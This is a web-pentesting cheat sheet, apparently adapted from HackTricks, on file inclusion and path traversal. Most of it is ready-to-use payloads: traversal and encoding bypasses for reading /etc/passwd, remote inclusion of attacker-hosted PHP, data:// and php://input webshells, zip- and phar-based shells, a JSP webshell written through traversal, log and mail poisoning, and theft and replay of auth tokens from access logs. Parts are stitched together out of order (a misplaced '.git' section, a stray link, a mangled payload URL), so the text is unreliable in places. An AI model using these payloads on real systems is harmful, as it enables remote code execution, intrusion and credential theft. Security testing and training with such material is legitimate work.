daemon-sec-cheatsheet

overview.md (45920B)

---

 ---
 title: "File Inclusion and Path Traversal"
 section: "Web Pentesting"
 sectionSlug: "pentesting-web"
 sourcePath: "src/pentesting-web/file-inclusion/README.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/README.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: true
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # File Inclusion and Path Traversal
 
 [Dds Rtps Security](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/dds-rtps-security.md)
 
 ## File Inclusion
 
 **Remote File Inclusion (RFI):** The application loads a file from a remote server. If the included resource is interpreted as code, an attacker can host and execute a payload. In PHP, URL-aware inclusion is **disabled by default** through `allow_url_include`.\
 **Local File Inclusion (LFI):** The application loads a local file.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
 
 The vulnerability occurs when user input controls the file path loaded by the server.
 
 Relevant **PHP functions** include `require`, `require_once`, `include`, and `include_once`.
 
 A useful exploitation tool is [fimap](https://github.com/kurobeats/fimap).
 
 ## Blind - Interesting - LFI2RCE files
 
 ```python
 wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
 ```
 
 ### **Linux**
 
 **Mixing several \*nix LFI lists and adding more paths I have created this one:**
 
 
 [File Inclusion Linux.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt)
 
 Try also to change `/` for `\`\
 Try also to add `../../../../../`
 
 A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
 
 ### **Windows**
 
 Merge of different wordlists:
 
 
 [File Inclusion Windows.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt)
 
 Try also to change `/` for `\`\
 Try also to remove `C:/` and add `../../../../../`
 
 A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
 
 ### **OS X**
 
 Check the Linux LFI list.
 
 ## Basic LFI and bypasses
 
 All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
 
 ```text
 http://example.com/index.php?page=../../../etc/passwd
 ```
 
 ### traversal sequences stripped non-recursively
 
 ```python
 http://example.com/index.php?page=....//....//....//etc/passwd
 http://example.com/index.php?page=....\/....\/....\/etc/passwd
 http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
 ```
 
 ### **Null byte (%00)**
 
 Bypass the append more chars at the end of the provided string (bypass of: $\_GET\['param']."php")
 
 ```text
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
 
 This is **solved since PHP 5.4**
 
 ### **Encoding**
 
 You can use non-standard encodings such as double URL encoding:
 
 ```text
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
 
 ### HTML-to-PDF SVG/IMG path traversal
 
 Modern HTML-to-PDF engines (e.g. **TCPDF** or wrappers such as **html2pdf**) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into `$pdf->writeHTML()`/`Html2Pdf::writeHTML()`, you can often exfiltrate local files that the web server account can read.<sup>[[3]](#references)</sup>
 
 - **Fingerprint the renderer**: every generated PDF contains a `Producer` field (e.g. `TCPDF 6.8.2`). Knowing the exact build tells you which path filters exist and whether URL decoding occurs before validation.
 - **Inline SVG payloads**: `TCPDF::startSVGElementHandler()` reads the `xlink:href` attribute from `<image>` elements before running `urldecode()`. Embedding a malicious SVG inside a data URI makes many HTML sanitizers ignore the payload while TCPDF still parses it:
 
 ```text
 <img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
 ```
 
   TCPDF prepends `$_SERVER['DOCUMENT_ROOT']` to paths beginning with `/` and only later resolves `..`, so use either leading `../../..` segments or `/../../..` to escape the root after the prepend.
 - **Encoding to bypass naive filters**: Versions ≤6.8.2 only check for the literal substring `../` *before* decoding the URL. Sending `..%2f` (or `..%2F`) in the SVG or in a raw `<img src>` attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls `urldecode()`.
 - **Double-encoding for multi-stage decoding**: If user input is decoded by the web framework *and* by TCPDF, double-encode the slash (`%252f`). One decode turns it into `%2f`, the second decode in TCPDF turns it into `/`, yielding `/..%252f..` → `/../../../…` without ever showing `../` to the early filter.
 - **HTML `<img>` handler**: `TCPDF::openHTMLTagHandler()` contains the same order-of-operations bug, allowing direct HTML payloads such as `src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//..%252f..%252ftmp%252fsecret.png"` to read any locally reachable bitmap.
 
 This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (`isRelativePath()`), so during tests prioritise older `Producer` versions.
 
 ### From existent folder
 
 Maybe the back-end is checking the folder path:
 
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
 
 ### Exploring File System Directories on a Server
 
 The file system of a server can be explored recursively to identify directories, not just files, by employing certain techniques. This process involves determining the directory depth and probing for the existence of specific folders. Below is a detailed method to achieve this:
 
 1. **Determine Directory Depth:** Ascertain the depth of your current directory by successfully fetching the `/etc/passwd` file (applicable if the server is Linux-based). An example URL might be structured as follows, indicating a depth of three:
 
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
 
 2. **Probe for Folders:** Append the name of the suspected folder (e.g., `private`) to the URL, then navigate back to `/etc/passwd`. The additional directory level requires incrementing the depth by one:
 
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
 
 3. **Interpret the Outcomes:** The server's response indicates whether the folder exists:
    - **Error / No Output:** The folder `private` likely does not exist at the specified location.
    - **Contents of `/etc/passwd`:** The presence of the `private` folder is confirmed.
 4. **Recursive Exploration:** Discovered folders can be further probed for subdirectories or files using the same technique or traditional Local File Inclusion (LFI) methods.
 
 For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if `/var/www/` contains a `private` directory (assuming the current directory is at a depth of 3), use:
 
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 
 ### **Path Truncation Technique**
 
 Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file.
 
 In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
 
 - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
 - When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
 - Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
 
 The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):
 
 ```text
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
 ```
 
 ```text
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
 
 In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
 
 - **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
 - **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
 - **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
 
 When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
 
 **This vulnerability was corrected in PHP 5.3.**
 
 ### **Filter bypass tricks**
 
 ```text
 http://example.com/index.php?page=....//....//etc/passwd
 http://example.com/index.php?page=..///////..////..//////etc/passwd
 http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
 Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
 http://example.com/index.php?page=PhP://filter
 ```
 
 ## Remote File Inclusion
 
 In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE:
 
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
 
 If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:<sup>[[4]](#references)</sup>
 
 ```text
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 
 ## Exposed `.git` Repository (Source Disclosure)
 
 If the web server exposes `/.git/`, an attacker can often **reconstruct the full repository** (including commit history) and audit the application offline. This commonly reveals hidden endpoints, secrets, SQL queries, and admin-only functionality.<sup>[[5]](#references)</sup>
 
 Quick checks:
 
 ```bash
 curl -s -i http://TARGET/.git/HEAD
 curl -s -i http://TARGET/.git/config
 ```
 
 Dump the repository with `git-dumper`:
 
 ```bash
 uv tool install git-dumper
 git-dumper http://TARGET/.git/ out/
 ```
 
 Then recover the working tree:
 
 ```bash
 cd out
 git checkout .
 ```
 
 > [!TIP]
 > In the previous code, the final `+.txt` was added because the attacker needed a string that ended in `.txt`, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed).
 
 Another example **not using the `php://` protocol** would be:
 
 ```text
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
 
 ## Python Root element
 
 In python in a code like this one:
 
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
 ```
 
 If the user passes an **absolute path** to **`file_name`**, the **previous path is just removed**:
 
 ```python
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
 
 It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):<sup>[[20]](#references)</sup>
 
 > If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
 
 ## Java List Directories
 
 It looks like if you have a Path Traversal in Java and you **ask for a directory** instead of a file, a **listing of the directory is returned**. This won't be happening in other languages (afaik).
 
 ## Top 25 parameters
 
 Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):<sup>[[18]](#references)</sup>
 
 ```text
 ?cat={payload}
 ?dir={payload}
 ?action={payload}
 ?board={payload}
 ?date={payload}
 ?detail={payload}
 ?file={payload}
 ?download={payload}
 ?path={payload}
 ?folder={payload}
 ?prefix={payload}
 ?include={payload}
 ?page={payload}
 ?inc={payload}
 ?locate={payload}
 ?show={payload}
 ?doc={payload}
 ?site={payload}
 ?type={payload}
 ?view={payload}
 ?content={payload}
 ?document={payload}
 ?layout={payload}
 ?mod={payload}
 ?conf={payload}
 ```
 
 ## LFI / RFI using PHP wrappers & protocols
 
 ### php://filter
 
 PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:
 
 - [String Filters](https://www.php.net/manual/en/filters.string.php):
   - `string.rot13`
   - `string.toupper`
   - `string.tolower`
   - `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
     - Note that this filter has disappear from the modern versions of PHP
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
   - `convert.base64-encode`
   - `convert.base64-decode`
   - `convert.quoted-printable-encode`
   - `convert.quoted-printable-decode`
   - `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
 
 > [!WARNING]
 > Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-php-filters).
 
 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
   - `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
   - `zlib.inflate`: Decompress the data
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
   - `mcrypt.*` : Deprecated
   - `mdecrypt.*` : Deprecated
 - Other Filters
   - Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
     - `consumed`
     - `dechunk`: reverses HTTP chunked encoding
     - `convert.*`
 
 ```php
 # String Filters
 ## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
 echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
 ## Same chain without the "|" char
 echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
 ## string.string_tags example
 echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
 
 # Conversion filter
 ## B64 decode
 echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
 ## Chain B64 encode and decode
 echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
 ## convert.quoted-printable-encode example
 echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
 =C2=A3hellooo=3D
 ## convert.iconv.utf-8.utf-16le
 echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
 
 # Compression Filter
 ## Compress + B64
 echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
 readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
 # PHP wrapper names are case-insensitive, so variants such as "PhP://" also work
 ```
 
 > [!WARNING]
 > The part "php://filter" is case insensitive
 
 ### Using php filters as oracle to read arbitrary files
 
 [**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.<sup>[[6]](#references)</sup>
 
 In the original post you can find a detailed explanation of the technique, but here is a quick summary:
 
 - Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
   - This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
 - The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
   - This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
 - The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
   - Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
   - When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
 - The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
   - And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
 
 In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).<sup>[[6]](#references)</sup>
 
 ### php://fd
 
 This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
 
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
 
 You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)
 
 ### zip:// and rar://
 
 Upload a Zip or Rar file with a PHPShell inside and access it.\
 In order to be able to abuse the rar protocol it **need to be specifically activated**.
 
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
 mv payload.zip shell.jpg;
 rm payload.php
 
 http://example.com/index.php?page=zip://shell.jpg%23payload.php
 
 # To compress with rar
 rar a payload.rar payload.php;
 mv payload.rar shell.jpg;
 rm payload.php
 http://example.com/index.php?page=rar://shell.jpg%23payload.php
 ```
 
 ### data://
 
 ```text
 http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
 http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
 http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
 http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
 http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
 
 Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**
 
 ### expect://
 
 Expect has to be activated. You can execute code using this:
 
 ```text
 http://example.com/index.php?page=expect://id
 http://example.com/index.php?page=expect://ls
 ```
 
 ### input://
 
 Specify your payload in the POST parameters:
 
 ```bash
 curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
 ```
 
 ### phar://
 
 A `.phar` file can be utilized to execute PHP code when a web application leverages functions such as `include` for file loading. The PHP code snippet provided below demonstrates the creation of a `.phar` file:
 
 ```php
 <?php
 $phar = new Phar('test.phar');
 $phar->startBuffering();
 $phar->addFromString('test.txt', 'text');
 $phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
 $phar->stopBuffering();
 ```
 
 To compile the `.phar` file, the following command should be executed:
 
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
 
 Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
 
 In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.<sup>[[17]](#references)</sup>
 
 For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
 
 [Phar Deserialization Exploitation Guide](/hacktricks/pentesting-web/file-inclusion/phar-deserialization)
 
 
 [Phar Deserialization](/hacktricks/pentesting-web/file-inclusion/phar-deserialization)
 
 ### CVE-2024-2961
 
 It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**<sup>[[7]](#references)</sup>\
 Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
 It was possible to alloc chunks of specific sizes abusing more php filters.<sup>[[7]](#references)</sup>
 
 ### More protocols
 
 Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
 
 - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
 - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
 
 ## LFI via PHP's 'assert'
 
 Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
 
 For example, PHP code might be designed to prevent directory traversal like so:
 
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
 
 While this aims to stop traversal, it inadvertently creates a vector for code injection. To exploit this for reading file contents, an attacker could use:
 
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
 
 Similarly, for executing arbitrary system commands, one might use:
 
 ```plaintext
 ' and die(system("id")) or '
 ```
 
 It's important to **URL-encode these payloads**.
 
 ## PHP Blind Path Traversal
 
 > [!WARNING]
 > This technique is relevant in cases where you **control** the **file path** of a **PHP function** that will **access a file** but you won't see the content of the file (like a simple call to **`file()`**) but the content is not shown.
 
 In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
 
 As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
 
 Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
 
 **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
 
 For the technical details check the mentioned post!
 
 ## LFI2RCE
 
 ### Arbitrary File Write via Path Traversal (Webshell RCE)
 
 When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
 
 Typical exploitation workflow:
 - Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
 - Determine web-exposed directories. Common examples:
   - Apache/PHP: `/var/www/html/`
   - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
   - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
 - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
 - Browse to the dropped payload and execute commands.<sup>[[8]](#references)</sup><sup>[[9]](#references)</sup>
 
 Notes:
 - The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
 - On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
 
 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
 
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <JMF SenderID="hacktricks" Version="1.3">
   <Command Type="SubmitQueueEntry">
     <!-- Write outside the intake folder into the webroot via traversal -->
     <Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
     <Data>
       <![CDATA[
       <%@ page import="java.io.*" %>
       <%
         String c = request.getParameter("cmd");
         if (c != null) {
           Process p = Runtime.getRuntime().exec(c);
           try (var in = p.getInputStream(); var out = response.getOutputStream()) {
             in.transferTo(out);
           }
         }
       %>
       ]]>
     </Data>
   </Command>
 </JMF>
 ```
 
 Hardening that defeats this class of bugs:
 - Resolve to a canonical path and enforce it is a descendant of an allow-listed base directory.
 - Reject any path containing `..`, absolute roots, or drive letters; prefer generated filenames.
 - Run the writer as a low-privileged account and segregate write directories from served roots.
 
 ## LFI2RCE via Remote Inclusion and File Poisoning
 
 Explained previously, [**follow this link**](#remote-file-inclusion).
 
 ### Via Apache/Nginx log file
 
 If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
 
 > [!WARNING]
 > Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
 >
 > Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
 
 This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
 Other possible log paths:
 
 ```python
 /var/log/apache2/access.log
 /var/log/apache/access.log
 /var/log/apache2/error.log
 /var/log/apache/error.log
 /usr/local/apache/log/error_log
 /usr/local/apache2/log/error_log
 /var/log/nginx/access.log
 /var/log/nginx/error.log
 /var/log/httpd/error_log
 ```
 
 Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
 
 ### Read access logs to harvest GET-based auth tokens (token replay)
 
 Many apps mistakenly accept session/auth tokens via GET (e.g., AuthenticationToken, token, sid). If you have a path traversal/LFI primitive into web server logs, you can steal those tokens from access logs and replay them to fully bypass authentication.<sup>[[10]](#references)</sup>
 
 How-to:
 - Use the traversal/LFI to read the web server access log. Common locations:
   - /var/log/apache2/access.log, /var/log/httpd/access_log
   - /var/log/nginx/access.log
 - Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
 - Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
 
 Example flow (generic):
 
 ```http
 GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
 Host: target
 ```
 
 Decode the body if it’s Base64, then replay a captured token:
 
 ```http
 GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
 Host: target
 ```
 
 Notes:
 - Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
 - If the app supports multiple token names, search for common keys like AuthenticationToken, token, sid, access_token.
 - Rotate any tokens that may have leaked to logs.
 
 ### Via Email
 
 **Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**
 
 ### Via /proc/\*/fd/\*
 
 1. Upload a lot of shells (for example : 100)
 2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
 
 ### Via /proc/self/environ
 
 Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
 
 ```text
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
 
 ### Via upload
 
 If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
 
 ```text
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
 
 In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
 
 ### Via ZIP file upload
 
 Upload a ZIP file containing a PHP shell compressed and access:
 
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
 
